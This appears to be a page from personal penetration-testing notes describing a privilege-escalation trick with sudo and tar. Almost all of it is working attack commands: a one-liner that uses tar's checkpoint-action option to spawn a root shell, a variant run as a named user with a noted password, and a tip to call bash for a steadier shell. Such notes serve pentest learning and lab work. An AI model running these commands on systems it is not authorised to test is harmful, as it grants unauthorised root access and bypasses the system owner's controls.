> For the complete documentation index, see [llms.txt](https://davidtancredi.gitbook.io/pentesting-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://davidtancredi.gitbook.io/pentesting-notes/r3dcl1ff/privesc/sudo-+-gtfobins/tar.md).

# tar

**#Sudo one liner to escalate privileges, other functionalities also available**&#x20;

```
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

#Authenticated variant , password redcliff

sudo -u redcliff tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

# ....  exec=/bin/bash for a more stable shell

```
